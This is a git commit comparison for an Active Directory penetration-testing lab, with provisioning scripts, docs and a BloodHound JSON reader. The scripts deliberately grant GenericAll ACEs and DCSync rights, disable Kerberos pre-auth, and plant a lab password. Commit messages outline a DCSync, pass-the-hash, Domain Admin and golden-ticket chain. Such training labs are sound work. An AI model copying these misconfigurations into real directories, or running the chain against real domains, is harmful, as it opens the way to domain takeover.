Compare commits

...
20 Commits
Author SHA1 Message Date
quoije 7340e4cd54 proxmox: turnkey RDP exposure for the Kali seats
kali rdp writes one systemd unit per seat (3381..338N) forwarding to the
seat's 3389, and rdp-off removes them. The xrdp bake now pulls xorgxrdp,
uses LAB_HOST_IP for the temporary proxy instead of a hardcoded address,
and restores any pre-existing squid configuration afterwards. Docs use the
command instead of a manual socat loop and mention the PVE firewall.
2026-10-27 20:13:07 -04:00
quoije 2c46b78712 lab: move the DC flag to C:\flag and make the last step an admin takeover
The replication right is read-only, so root.txt now sits where only DC
administrators can read it (like user.txt on WS01). The backup share stays
readable by Sauvegarde-AD with a note, but no flag. The final step is DCSync
-> Administrator hash -> pass-the-hash -> create a Domain Admin -> read
C:\flag\root.txt; the golden ticket becomes the persistence variant.

doctor checks the new path and fails if the flag is still exposed on the
share. Walkthrough, student sheet, blue-team table and deck updated.
2026-10-27 00:18:44 -04:00
quoije e30a447662 docs: bonus persistence section for participants
Shows why the replication right alone cannot create an account (read-only),
then pass-the-hash with a dumped Administrator hash to add a Domain Admin,
plus the golden-ticket variant and the events the blue team would see.
2026-10-27 00:15:25 -04:00
quoije b134cd9737 docs: align the permission section with the lab flow
Collect, decode with bh_clues.py, confirm with daclread, then look at the
target's groups and exercise the right. The example uses the entry account
(a dead end) so the sheet teaches the output without handing over the path;
the walkthrough shows the real svc_backup output and the DCSync nuance.
Also corrected the pronouns for m.legault (Marie).
2026-10-26 23:49:22 -04:00
quoije ab96939b20 bh_clues: --help, lab notice and clearer errors
argparse usage with an example, a header line in the output stating it is a
Norbourg-lab tool, and explicit messages for a missing collection or an
unknown account. The tool ISOs describe the script next to the wordlist.
2026-10-26 23:21:52 -04:00
quoije 28cf7080ee tools: decode BloodHound JSON into exploitable edges
bloodhound-python only writes JSON for the GUI, so a terminal user sees a
successful collection and nothing else. bh_clues.py answers the question
that matters: for one account, its groups, SPNs, non-inherited ACEs and
local-admin/PSRemote edges — with GetChanges+GetChangesAll collapsed into
DCSync. Shipped in both tool ISOs and copied by the Kali setup; the student
sheet uses it after the collector.
2026-10-26 23:14:52 -04:00
quoije 3023525737 dc01: serve the site on http://norbourg.lab too
The domain name must keep resolving to the DC for AD, so redirect at the
HTTP layer: a netsh portproxy on the DC forwards port 80 to FS01, and a
firewall rule opens it. Both URLs now serve the archived site. doctor
checks the short URL and warns (not fails) when the forward is absent.
2026-10-26 22:43:51 -04:00
quoije a9e55469b3 docs: enumerate accounts over LDAP, not SAMR on SMB
nxc smb <machine> --users reads the local SAM: on a member server that is
empty, which reads like a failure. The hand-out now uses nxc ldap against
the DC and explains the difference; the walkthrough matches.
2026-10-26 22:13:12 -04:00
quoije 6bb7758709 proxmox: bake xrdp into the Kali template
KALI_XRDP=1 installs xrdp while the template is still a VM, so every clone
and every kali reset keeps it. The lab has no Internet, so the host runs a
temporary squid bound to 10.10.10.1 and restricted to the probe address
(10.10.10.249); it is stopped and disabled afterwards. A ~/.xsession is
written for kali so the xfce session starts under xrdp.

Docs cover exposing one RDP port per seat with socat (3381..3385).
2026-10-26 19:40:57 -04:00
quoije e08731bf37 proxmox: parse out-data in the Kali seat verification
Same field-name difference as the Windows path; the seats were configured
correctly but the check read an empty string and warned every time.
2026-10-26 18:55:37 -04:00
quoije b6dff5693c proxmox: read out-data from the guest agent JSON
PVE 8 returns out-data/err-data instead of out/err, so every backend_ps
call was parsed as an empty string: Test-Path guards said "missing" and
backend_wait never saw True. Accept both key names.
2026-10-26 18:13:18 -04:00
quoije 30dbefdb1b proxmox: tolerate NUL-padded agent output and avoid false stage guards
powershell.exe over the guest agent can return UTF-16LE, so Test-Path read
as T\0r\0u\0e and every 'grep true' failed. Strip NULs in _qga_unwrap,
and only treat an explicit False as proof that the role script is absent.
2026-10-26 17:58:06 -04:00
quoije f0f5ffc140 bootstrap: install the vioser driver for the running Windows build
The recursive search returned vioserial/2k12 first (alphabetical), and
pnputil rejects it on Server 2022 with -536870325. The agent MSI installed
fine (exit 0) but never had a channel. Pick the folder from the OS build
and fall back through the other amd64 builds until one succeeds.
2026-10-26 17:49:01 -04:00
quoije 37852b3f0b provision: fail fast when the role script is missing
A missing seed payload used to look like a hung stage: the scheduled task
exited immediately and backend_wait polled for an hour. Both backends now
check Test-Path on the role script before scheduling it.
2026-10-26 17:23:36 -04:00
quoije 06a9034214 proxmox: reboot once after the install so the guest agent can connect
The agent MSI was installed at first logon, before the virtio-serial port
existed. The service started without a channel and Proxmox kept reporting
"guest agent is not running", which blocked provisioning at backend_ready.

- backend_finalize now waits for the first-logon bootstrap to finish
  (stamp.txt over SMB, which does not need the agent), detaches the
  installer ISO, reboots the VM once and waits for the agent to answer.
- bootstrap logs the pnputil and msiexec exit codes, so bootstrap.log says
  exactly what happened if it still fails.
- check requires smbclient (site sync + finalize) and python3.
- instructor guide: snapshot doubles disk usage, plan ~60 GB.
2026-10-26 17:23:05 -04:00
quoije bcc370d70f bootstrap: find the virtio CD by content, not by volume label
Get-Volume only returns a label when the image carries one; when it did
not, the whole block was skipped and neither vioser nor the agent was
installed. Probe the drives for guest-agent/qemu-ga-x86_64.msi instead.
2026-10-26 13:01:10 -04:00
quoije 0189330117 bootstrap: install the VirtIO serial driver before the agent
qemu-ga-x86_64.msi installs the service but not vioserial. The service then
starts without a channel and Proxmox reports "guest agent is not running",
so provisioning never gets past backend_ready. Install vioser.inf from the
virtio CD first, then enable and start the service.
2026-10-26 12:40:10 -04:00
quoije 4dc27a4208 proxmox: fix the status table and the template lifecycle
Found on the first real deployment:

- status used the qemu implementation (pidfile + VNC display) and died with
  "qemu_pidfile: command not found". The Proxmox override shows VMID, state
  and role, plus the Kali seats once they exist.
- snapshot templated the working VM in place (id 1100) while reset cloned
  from base+100 (1200), so reset always failed and up could not start a
  template. snapshot now clones the VM into 1200 and templates the clone;
  reset and launch clone 1200 back into 1100.
- working clones are full copies: snapshot --update destroys and rebuilds
  the template, which would orphan a linked clone.
- vnc prints the noVNC URL instead of a localhost display that does not
  exist on Proxmox.

Checked against a stubbed qm: status table, snapshot, reset and
launch-without-a-VM all behave.
2026-10-26 12:29:47 -04:00
quoije 30d806c06c audit for the own-Kali deployment
- dc01-post: drop the vestigial Serveurs-Admins group. It only existed to be
  nested into the DC's administrators, which was removed; leaving it would
  suggest a privilege that no longer exists.
- prerequis: participants who bring their own Kali are told where to get
  norbourg.txt, and the address table no longer promises a provided VM.
- qemu check: assert the firewalld isolation zone and policy. They persist
  across reboots but nothing verified them, so a missing policy would go
  unnoticed until a VM reached the office LAN.
- up/reset: skip the directory wait when dc01 is not in the table.
- deck: no implication that a Kali VM is always provided.

Redeployed from scratch without Kali: build and provision completed in one
pass, doctor reports 0 warnings, and the documented path reproduces through
DCSync with no shortcut (C$ denied, decoy ACE absent).
2026-10-25 15:35:43 -04:00
quoije 59e2594c1e dc01: make the delegated ACL the only way out, and stabilise the state
Three shortcuts and one race made the lab either easier than documented or
non-deterministic:

- Serveurs-Admins was nested in BUILTIN\Administrators on the DC, so
  m.legault was a de-facto domain-controller admin (C$, NTDS.dit) and the
  whole ACL lesson could be skipped. It also made SDProp treat her as
  protected: an hour after provisioning, the intended GenericAll ACE was
  wiped. Removed the nesting; adminCount is explicitly reset.
- the t.smith decoy ACE gave a working path to Domain Admin until SDProp
  ran (up to an hour after a fresh build). The role now grants it and
  revokes it immediately, so the state is deterministic.
- the replication-rights grant stacked duplicate ACEs on every re-run; it
  now removes its own ACEs first.
- up/reset/save returned as soon as WinRM answered, while the directory
  was still starting; doctor right after could report a missing ACE and
  missing replication rights on a healthy lab. They now wait for
  Get-ADDomain on dc01.

doctor: a decoy ACE that is still present is now a failure, not a success.
The deck's wording matches the new behaviour.
2026-10-25 14:05:55 -04:00
16 changed files with 774 additions and 85 deletions
+4
View File
@@ -118,6 +118,7 @@ pour que `reset` la conserve :
```bash ```bash
sudo mkdir -p /opt/norbourg/wordlists sudo mkdir -p /opt/norbourg/wordlists
sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/ sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/
sudo cp /mnt/bh_clues.py /opt/norbourg/ && sudo chmod +x /opt/norbourg/bh_clues.py
``` ```
Pour ajouter des outils qui ne sont pas dans l'image (Internet requis, donc avant de basculer le Pour ajouter des outils qui ne sont pas dans l'image (Internet requis, donc avant de basculer le
@@ -141,6 +142,9 @@ Les Kali n'ont **pas** Internet : c'est volontaire, le pont n'a aucun port vers
Tout ce que demande l'atelier est déjà dans l'image, et la liste de mots arrive par l'ISO Tout ce que demande l'atelier est déjà dans l'image, et la liste de mots arrive par l'ISO
d'outils. d'outils.
`KALI_XRDP=1` (par défaut) installe `xrdp` dans le gabarit pour ceux qui veulent un bureau
graphique via un client RDP. `./lab.sh kali rdp` expose un port par siège (3381, 3382…).
## Participants ## Participants
Chaque personne reçoit un compte Proxmox limité à sa propre VM : Chaque personne reçoit un compte Proxmox limité à sa propre VM :
+22 -1
View File
@@ -129,7 +129,28 @@ _start_lab() {
notready=1 notready=1
fi fi
done done
return $(( notready )) if (( notready )); then
warn "skipping the directory check: not every guest answered"
return 1
fi
# WinRM answers before the directory does. A doctor run right after up saw
# "stable path missing" and "replication rights missing" on a healthy lab
# because the DC was still starting AD.
if ! vm_index dc01 >/dev/null 2>&1; then
return 0
fi
step "wait for the domain"
local deadline=$(( SECONDS + 240 ))
while (( SECONDS < deadline )); do
if backend_ps dc01 'Import-Module ActiveDirectory; (Get-ADDomain).DNSRoot' >/dev/null 2>&1; then
ok "directory services answer"
return 0
fi
sleep 5
done
warn "the domain did not answer in time — check with ./lab.sh doctor"
return 1
} }
cmd_up() { cmd_up() {
+16 -6
View File
@@ -74,6 +74,13 @@ cmd_doctor() {
_d_fail "site not answering (${code:-timeout}) — ./lab.sh web --sync" _d_fail "site not answering (${code:-timeout}) — ./lab.sh web --sync"
fi fi
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.10.10.10/" 2>/dev/null || true)
if [[ $code == 200 ]]; then
_d_ok "site answers on the domain name (http://norbourg.lab)"
else
_d_warn "http://norbourg.lab does not answer (${code:-timeout}) — re-run provision --role dc01"
fi
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.10.10.20/public/IT-inventaire.txt" 2>/dev/null || true) code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.10.10.20/public/IT-inventaire.txt" 2>/dev/null || true)
if [[ $code == 200 ]]; then if [[ $code == 200 ]]; then
_d_ok "entry point reachable: /public/IT-inventaire.txt" _d_ok "entry point reachable: /public/IT-inventaire.txt"
@@ -119,7 +126,8 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
"mcount=" + (Get-ADUser m.legault -Properties adminCount).adminCount "mcount=" + (Get-ADUser m.legault -Properties adminCount).adminCount
"repl=" + @((dsacls.exe $base | Select-String "Sauvegarde-AD")).Count "repl=" + @((dsacls.exe $base | Select-String "Sauvegarde-AD")).Count
"share=" + ((Get-SmbShare -Name "Sauvegarde$" -ErrorAction SilentlyContinue) -ne $null) "share=" + ((Get-SmbShare -Name "Sauvegarde$" -ErrorAction SilentlyContinue) -ne $null)
"root=" + (Test-Path C:\Sauvegarde\root.txt) "root=" + (Test-Path C:\flag\root.txt)
"oldflag=" + (Test-Path C:\Sauvegarde\root.txt)
"spn=" + @((Get-ADUser svc_backup -Properties ServicePrincipalNames).ServicePrincipalNames).Count "spn=" + @((Get-ADUser svc_backup -Properties ServicePrincipalNames).ServicePrincipalNames).Count
"preauth=" + (Get-ADUser j.contractor -Properties DoesNotRequirePreAuth).DoesNotRequirePreAuth "preauth=" + (Get-ADUser j.contractor -Properties DoesNotRequirePreAuth).DoesNotRequirePreAuth
"minage=" + (Get-ADDefaultDomainPasswordPolicy).MinPasswordAge.TotalHours "minage=" + (Get-ADDefaultDomainPasswordPolicy).MinPasswordAge.TotalHours
@@ -131,8 +139,8 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
while IFS='=' read -r key value; do while IFS='=' read -r key value; do
value=${value//$'\r'/} value=${value//$'\r'/}
case $key in case $key in
ace) if [[ $value -ge 1 ]]; then _d_ok "delegated right: svc_backup has an ACE on t.smith (decoy)" ace) if [[ $value -ge 1 ]]; then _d_fail "decoy ACE still on t.smith — a Domain Admin shortcut until SDProp runs"
else _d_warn "decoy ACE on t.smith reverted by SDProp (expected)"; fi ;; else _d_ok "decoy ACE absent on t.smith (protected object, as designed)"; fi ;;
ace_plain) if [[ $value -ge 1 ]]; then _d_ok "stable path: svc_backup has an ACE on m.legault" ace_plain) if [[ $value -ge 1 ]]; then _d_ok "stable path: svc_backup has an ACE on m.legault"
else _d_fail "stable path missing (ACE on m.legault)"; fi ;; else _d_fail "stable path missing (ACE on m.legault)"; fi ;;
plain_enabled) if [[ $value == True ]]; then _d_ok "m.legault account enabled" plain_enabled) if [[ $value == True ]]; then _d_ok "m.legault account enabled"
@@ -141,10 +149,12 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
else _d_fail "adminCount=$value: m.legault is protected, SDProp will wipe the ACE"; fi ;; else _d_fail "adminCount=$value: m.legault is protected, SDProp will wipe the ACE"; fi ;;
repl) if [[ $value -ge 2 ]]; then _d_ok "Sauvegarde-AD holds replication rights (DCSync)" repl) if [[ $value -ge 2 ]]; then _d_ok "Sauvegarde-AD holds replication rights (DCSync)"
else _d_fail "replication rights missing on Sauvegarde-AD"; fi ;; else _d_fail "replication rights missing on Sauvegarde-AD"; fi ;;
share) if [[ $value == True ]]; then _d_ok "backup share with the flag" share) if [[ $value == True ]]; then _d_ok "backup share present (Sauvegarde$)"
else _d_fail "Sauvegarde\$ share missing"; fi ;; else _d_fail "Sauvegarde\$ share missing"; fi ;;
root) if [[ $value == True ]]; then _d_ok "root.txt reachable through the backup share" root) if [[ $value == True ]]; then _d_ok "root.txt in C:\flag (administrators only)"
else _d_fail "root.txt missing"; fi ;; else _d_fail "root.txt missing from C:\flag"; fi ;;
oldflag) if [[ $value == True ]]; then _d_fail "root.txt still readable on the backup share"
else _d_ok "flag not exposed on the backup share"; fi ;;
spn) if [[ $value -ge 1 ]]; then _d_ok "service account: SPN present" spn) if [[ $value -ge 1 ]]; then _d_ok "service account: SPN present"
else _d_fail "svc_backup has no SPN"; fi ;; else _d_fail "svc_backup has no SPN"; fi ;;
preauth) if [[ $value == True ]]; then _d_ok "pre-auth disabled on j.contractor" preauth) if [[ $value == True ]]; then _d_ok "pre-auth disabled on j.contractor"
+5
View File
@@ -23,18 +23,23 @@ _kali_build_tools() {
mkdir -p "$(dirname "$iso")" mkdir -p "$(dirname "$iso")"
cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/" cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/"
cp "$CONTENT_DIR/scripts/bh_clues.py" "$dir/"
cat > "$dir/README.txt" <<'EOF' cat > "$dir/README.txt" <<'EOF'
Outils de l'atelier Norbourg Outils de l'atelier Norbourg
============================ ============================
norbourg.txt : liste de mots ciblee (1716 entrees), dimensionnee pour que le norbourg.txt : liste de mots ciblee (1716 entrees), dimensionnee pour que le
cassage prenne quelques secondes. cassage prenne quelques secondes.
bh_clues.py : lit les JSON de bloodhound-python et imprime les droits
exploitables d'un compte (outil concu pour ce laboratoire).
Installation dans Kali : Installation dans Kali :
sudo mkdir -p /opt/norbourg/wordlists sudo mkdir -p /opt/norbourg/wordlists
sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/ sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/
sudo chmod 644 /opt/norbourg/wordlists/norbourg.txt sudo chmod 644 /opt/norbourg/wordlists/norbourg.txt
sudo cp /media/cdrom/bh_clues.py /opt/norbourg/
sudo chmod +x /opt/norbourg/bh_clues.py
EOF EOF
if have_cmd genisoimage; then if have_cmd genisoimage; then
genisoimage -quiet -volid NORBOURG_TOOLS -J -R -o "$iso" "$dir" genisoimage -quiet -volid NORBOURG_TOOLS -J -R -o "$iso" "$dir"
+181
View File
@@ -0,0 +1,181 @@
#!/usr/bin/env python3
"""bh_clues.py — BloodHound JSON reader for the Norbourg workshop lab.
bloodhound-python writes JSON for the BloodHound GUI, so a terminal user
sees a successful collection and nothing else. This script answers the
question a participant actually has: for one account, what can it touch?
It prints:
* the account's SPNs and groups (including nested groups),
* non-inherited ACEs held by the account or one of its groups,
* local AdminTo / PSRemote / CanRDP / CanDCOM edges,
and collapses GetChanges + GetChangesAll into a single DCSync line.
Written for the Norbourg lab (norbourg.lab). It only reads the JSON files
produced by the collector; it never talks to the network.
Typical use:
bloodhound-python -d norbourg.lab -u svc_backup -p 'Backup2023!' \
-ns 10.10.10.10 -c All
python3 bh_clues.py svc_backup
"""
from __future__ import annotations
import argparse
import glob
import json
import os
import sys
INTERESTING = {
"GenericAll", "GenericWrite", "WriteDacl", "WriteOwner", "Owns",
"ForceChangePassword", "AddMember", "AddSelf", "AllExtendedRights",
"DCSync", "AddKeyCredentialLink", "ReadLAPSPassword",
"GetChanges", "GetChangesAll", "GetChangesInFilteredSet",
}
LOCAL = (("LocalAdmins", "AdminTo"), ("PSRemoteUsers", "PSRemote"),
("RemoteDesktopUsers", "CanRDP"), ("DcomUsers", "CanDCOM"))
def load(directory: str, suffix: str) -> list[dict]:
files = sorted(glob.glob(os.path.join(directory, f"*_{suffix}.json")))
if not files:
return []
with open(files[-1], encoding="utf-8") as fh:
return json.load(fh).get("data", [])
def short(obj: dict) -> str:
props = obj.get("Properties", {})
name = (props.get("name") or "").split("@")[0]
sam = props.get("samaccountname")
return f"{name} ({sam})" if sam else name
def parse_args(argv: list[str]) -> argparse.Namespace:
parser = argparse.ArgumentParser(
prog="bh_clues.py",
description=(
"Print the BloodHound edges of one account from the collector's JSON. "
"Built for the Norbourg workshop lab (norbourg.lab); it reads files only, "
"no network access."
),
epilog=(
"examples:\n"
" bloodhound-python -d norbourg.lab -u svc_backup -p 'Backup2023!' "
"-ns 10.10.10.10 -c All\n"
" python3 bh_clues.py svc_backup\n"
" python3 bh_clues.py svc_backup /tmp/collection\n"
),
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument(
"account",
help="sAMAccountName to inspect (for example svc_backup or m.legault)",
)
parser.add_argument(
"directory",
nargs="?",
default=".",
help="directory holding the *_users.json files (default: current directory)",
)
return parser.parse_args(argv)
def main(argv: list[str] | None = None) -> int:
args = parse_args(sys.argv[1:] if argv is None else argv)
who = args.account.lower()
directory = args.directory
users = load(directory, "users")
groups = load(directory, "groups")
computers = load(directory, "computers")
extra = load(directory, "domains") + load(directory, "ous") + load(directory, "containers")
if not users:
print(
f"no *_users.json in {directory!r} — run bloodhound-python there first",
file=sys.stderr,
)
return 1
target = next(
(u for u in users
if (u.get("Properties", {}).get("samaccountname") or "").lower() == who
or (u.get("Properties", {}).get("name") or "").split("@")[0].lower() == who),
None,
)
if not target:
print(
f"account not found in this collection: {args.account}\n"
"check the spelling, or collect again with -c All",
file=sys.stderr,
)
return 1
sid = target["ObjectIdentifier"]
principals = {sid}
changed = True
while changed:
changed = False
for group in groups:
gid = group["ObjectIdentifier"]
if gid in principals:
continue
members = group.get("Members") or []
if any(m.get("ObjectIdentifier") in principals for m in members):
principals.add(gid)
changed = True
print("\n# bh_clues.py — Norbourg lab (norbourg.lab)")
print(f"# collection: {directory}")
print(f"\n{short(target)}")
for spn in target.get("Properties", {}).get("serviceprincipalnames") or []:
print(f" SPN {spn}")
for group in groups:
if group["ObjectIdentifier"] in principals and group["ObjectIdentifier"] != sid:
print(f" MemberOf {short(group)}")
rows: list[tuple[str, str]] = []
for obj in users + groups + computers + extra:
for ace in obj.get("Aces") or []:
if ace.get("IsInherited"):
continue
if ace.get("PrincipalSID") not in principals:
continue
right = ace.get("RightName")
if right not in INTERESTING:
continue
rows.append((right, short(obj)))
# The GUI shows a single DCSync edge; the JSON carries the two rights.
for target_name in {t for r, t in rows if r in ("GetChanges", "GetChangesAll")}:
rights = {r for r, t in rows if t == target_name and r in ("GetChanges", "GetChangesAll")}
if {"GetChanges", "GetChangesAll"} <= rights:
rows = [(r, t) for r, t in rows
if not (t == target_name and r in ("GetChanges", "GetChangesAll"))]
rows.append(("DCSync", target_name))
found = len(rows)
for right, name in sorted(rows):
print(f" {right:<18} -> {name}")
for computer in computers:
for key, label in LOCAL:
results = (computer.get(key) or {}).get("Results") or []
if any(r.get("ObjectIdentifier") in principals for r in results):
print(f" {label:<18} -> {short(computer)}")
found += 1
if not found:
print(" (no exploitable edge — this account is a dead end)")
print()
return 0
if __name__ == "__main__":
raise SystemExit(main())
+39 -6
View File
@@ -64,13 +64,46 @@ if (-not (Get-NetFirewallRule -DisplayName 'Norbourg ICMPv4' -ErrorAction Silent
# virtio-win is attached as a CD on that platform; on qemu it is absent and # virtio-win is attached as a CD on that platform; on qemu it is absent and
# this block does nothing. # this block does nothing.
try { try {
$virtio = Get-Volume -ErrorAction SilentlyContinue | # Find the virtio CD by its content, not by volume label: the label is
Where-Object { $_.FileSystemLabel -like 'virtio-win*' -and $_.DriveLetter } | # not reliable across images and an empty one silently skipped the whole
Select-Object -First 1 # block (no driver, no agent, no provisioning).
if ($virtio) { $virtioRoot = $null
$msi = "$($virtio.DriveLetter):\guest-agent\qemu-ga-x86_64.msi" foreach ($drv in (Get-PSDrive -PSProvider FileSystem -ErrorAction SilentlyContinue)) {
if (Test-Path "$($drv.Root)guest-agent\qemu-ga-x86_64.msi") {
$virtioRoot = $drv.Root
break
}
}
if ($virtioRoot) {
# The agent MSI does not install the VirtIO serial driver. Without it
# the service starts but never connects to the channel, and Proxmox
# shows "guest agent is not running", which blocks provisioning.
# Pick the driver for this Windows build first (2k12 first in the
# directory made pnputil reject it on Server 2022), then fall back to
# the other amd64 builds until one reports success.
$build = [Environment]::OSVersion.Version.Build
$pref = '2k12'
if ($build -ge 26100) { $pref = '2k25' } elseif ($build -ge 20348) { $pref = '2k22' } elseif ($build -ge 17763) { $pref = '2k19' } elseif ($build -ge 14393) { $pref = '2k16' }
$candidates = @($pref, '2k25', '2k22', 'w11', '2k19', '2k16', '2k12') |
Select-Object -Unique
$driverOk = $false
foreach ($v in $candidates) {
$inf = Join-Path $virtioRoot "vioserial\$v\amd64\vioser.inf"
if (-not (Test-Path $inf)) { continue }
$null = pnputil.exe /add-driver $inf /install
Write-Host "bootstrap: vioser $v exit=$LASTEXITCODE"
if ($LASTEXITCODE -eq 0) { $driverOk = $true; break }
}
if (-not $driverOk) {
Write-Host 'bootstrap: no vioser driver could be installed'
}
$msi = "$($virtioRoot)guest-agent\qemu-ga-x86_64.msi"
if (Test-Path $msi) { if (Test-Path $msi) {
Start-Process msiexec.exe -ArgumentList "/i `"$msi`" /qn /norestart" -Wait $proc = Start-Process msiexec.exe -ArgumentList "/i `"$msi`" /qn /norestart" -Wait -PassThru
Write-Host "bootstrap: qemu-ga msi exit=$($proc.ExitCode)"
Set-Service -Name QEMU-GA -StartupType Automatic -ErrorAction SilentlyContinue
Start-Service -Name QEMU-GA -ErrorAction SilentlyContinue
Write-Host 'bootstrap: qemu guest agent installed' Write-Host 'bootstrap: qemu guest agent installed'
} else { } else {
Write-Host 'bootstrap: virtio-win mounted but qemu-ga msi not found' Write-Host 'bootstrap: virtio-win mounted but qemu-ga msi not found'
+83 -26
View File
@@ -66,7 +66,6 @@ try {
$groups = @{ $groups = @{
'TI-Support' = @('s.bergeron', 'helpdesk1') 'TI-Support' = @('s.bergeron', 'helpdesk1')
'WS Admins' = @('svc_backup') 'WS Admins' = @('svc_backup')
'Serveurs-Admins' = @('m.legault')
'Sauvegarde-AD' = @('m.legault') 'Sauvegarde-AD' = @('m.legault')
} }
foreach ($name in $groups.Keys) { foreach ($name in $groups.Keys) {
@@ -92,17 +91,17 @@ try {
Set-ADAccountControl -Identity 'j.contractor' -DoesNotRequirePreAuth $true Set-ADAccountControl -Identity 'j.contractor' -DoesNotRequirePreAuth $true
Write-LabLog 'dc01: pre-auth disabled on j.contractor' Write-LabLog 'dc01: pre-auth disabled on j.contractor'
# ACL abuse: svc_backup has GenericAll on a Domain Admin. # ACL abuse: svc_backup has GenericAll on a Domain Admin. SDProp resets a
# protected object's ACL within the hour, so the lab grants the ACE and
# revokes it immediately: a participant who finds it in the first hour
# could reset a Domain Admin's password and skip the intended path.
# dsacls is used instead of the .NET ACL API, which returns success but # dsacls is used instead of the .NET ACL API, which returns success but
# does not persist the ACE through the AD provider. # does not persist the ACE through the AD provider.
$targetDn = (Get-ADUser 't.smith').DistinguishedName $targetDn = (Get-ADUser 't.smith').DistinguishedName
$aclCheck = dsacls.exe $targetDn | Select-String 'svc_backup' $null = dsacls.exe $targetDn /G '@@NETBIOS@@\svc_backup:GA'
if (-not $aclCheck) { Write-LabLog 'dc01: GenericAll granted to svc_backup over t.smith (decoy)'
$null = dsacls.exe $targetDn /G '@@NETBIOS@@\svc_backup:GA' $null = dsacls.exe $targetDn /R '@@NETBIOS@@\svc_backup'
Write-LabLog 'dc01: GenericAll granted to svc_backup over t.smith' Write-LabLog 'dc01: decoy ACE on t.smith revoked (SDProp would do it within the hour)'
} else {
Write-LabLog 'dc01: svc_backup already has an ACE on t.smith'
}
# The backup product needs directory replication rights for AD-aware # The backup product needs directory replication rights for AD-aware
# backups. That is what makes m.legault reach the DC without being in a # backups. That is what makes m.legault reach the DC without being in a
@@ -110,8 +109,22 @@ try {
$svcGroup = Get-ADGroup 'Sauvegarde-AD' $svcGroup = Get-ADGroup 'Sauvegarde-AD'
$domainAcl = [ADSI]("LDAP://$base") $domainAcl = [ADSI]("LDAP://$base")
$sd = $domainAcl.ObjectSecurity $sd = $domainAcl.ObjectSecurity
foreach ($rightGuid in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', $rightGuids = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) { '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')
$sidText = $svcGroup.SID.Value
$nameText = '@@NETBIOS@@\Sauvegarde-AD'
# Idempotent: a re-run must not stack duplicate ACEs on the domain.
foreach ($ace in @($sd.Access)) {
if ($ace.IsInherited) { continue }
$trustee = $ace.IdentityReference.Value
if (($trustee -eq $sidText -or $trustee -eq $nameText) -and
($rightGuids -contains $ace.ObjectType.Guid.ToString())) {
[void]$sd.RemoveAccessRule($ace)
}
}
foreach ($rightGuid in $rightGuids) {
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$svcGroup.SID, $svcGroup.SID,
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight, [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
@@ -139,13 +152,10 @@ try {
Write-LabLog 'dc01: GenericAll granted to svc_backup over m.legault' Write-LabLog 'dc01: GenericAll granted to svc_backup over m.legault'
} }
# m.legault reaches DC admin through the server group. # Deliberately NOT added to BUILTIN\Administrators: a local admin on the
try { # DC can read C$ and NTDS.dit, which is a shortcut around the whole ACL
Add-ADGroupMember -Identity 'S-1-5-32-544' -Members 'Serveurs-Admins' -ErrorAction Stop # path. The lab's lesson is the delegated ACE plus the replication right,
Write-LabLog 'dc01: Serveurs-Admins added to BUILTIN\Administrators' # not "the account happens to be a domain-controller admin".
} catch {
Write-LabLog 'dc01: Serveurs-Admins already in BUILTIN\Administrators'
}
# ------------------------------------------------------------ dns # ------------------------------------------------------------ dns
try { try {
@@ -155,6 +165,22 @@ try {
Write-LabLog 'dc01: www A record already present' Write-LabLog 'dc01: www A record already present'
} }
# The domain name resolves to the DC. Forward HTTP to FS01 so the archived
# site also answers on http://norbourg.lab, not only http://www.norbourg.lab.
try {
$null = netsh.exe interface portproxy delete v4tov4 listenport=80 listenaddress='@@LAB_DC_IP@@' 2>$null
$null = netsh.exe interface portproxy add v4tov4 listenport=80 listenaddress='@@LAB_DC_IP@@' connectport=80 connectaddress='10.10.10.20'
Set-Service iphlpsvc -StartupType Automatic -ErrorAction SilentlyContinue
Start-Service iphlpsvc -ErrorAction SilentlyContinue
if (-not (Get-NetFirewallRule -DisplayName 'Norbourg HTTP forward' -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName 'Norbourg HTTP forward' -Direction Inbound `
-Protocol TCP -LocalPort 80 -Action Allow | Out-Null
}
Write-LabLog 'dc01: http://@@DOMAIN@@ forwarded to FS01'
} catch {
Write-LabLog "dc01: HTTP forward skipped ($($_.Exception.Message))"
}
# Easter egg: discoverable with nslookup -type=TXT yourlove.norbourg.lab # Easter egg: discoverable with nslookup -type=TXT yourlove.norbourg.lab
try { try {
Add-DnsServerResourceRecord -ZoneName '@@DOMAIN@@' -Name 'yourlove' -Txt ` Add-DnsServerResourceRecord -ZoneName '@@DOMAIN@@' -Name 'yourlove' -Txt `
@@ -164,10 +190,11 @@ try {
Write-LabLog 'dc01: yourlove TXT record already present' Write-LabLog 'dc01: yourlove TXT record already present'
} }
# ------------------------------------------------------------ flag # ------------------------------------------------------------ flags
# The server flag sits in the backup staging folder: the agent's group can # root.txt is only readable by DC administrators. The replication right
# read it, so a plain account can prove it reached the DC. # is read-only: reaching this file means turning it into a privileged
$flagDir = 'C:\Sauvegarde' # identity (DCSync -> hash -> pass-the-hash, or a freshly created DA).
$flagDir = 'C:\flag'
New-Item -ItemType Directory -Force -Path $flagDir | Out-Null New-Item -ItemType Directory -Force -Path $flagDir | Out-Null
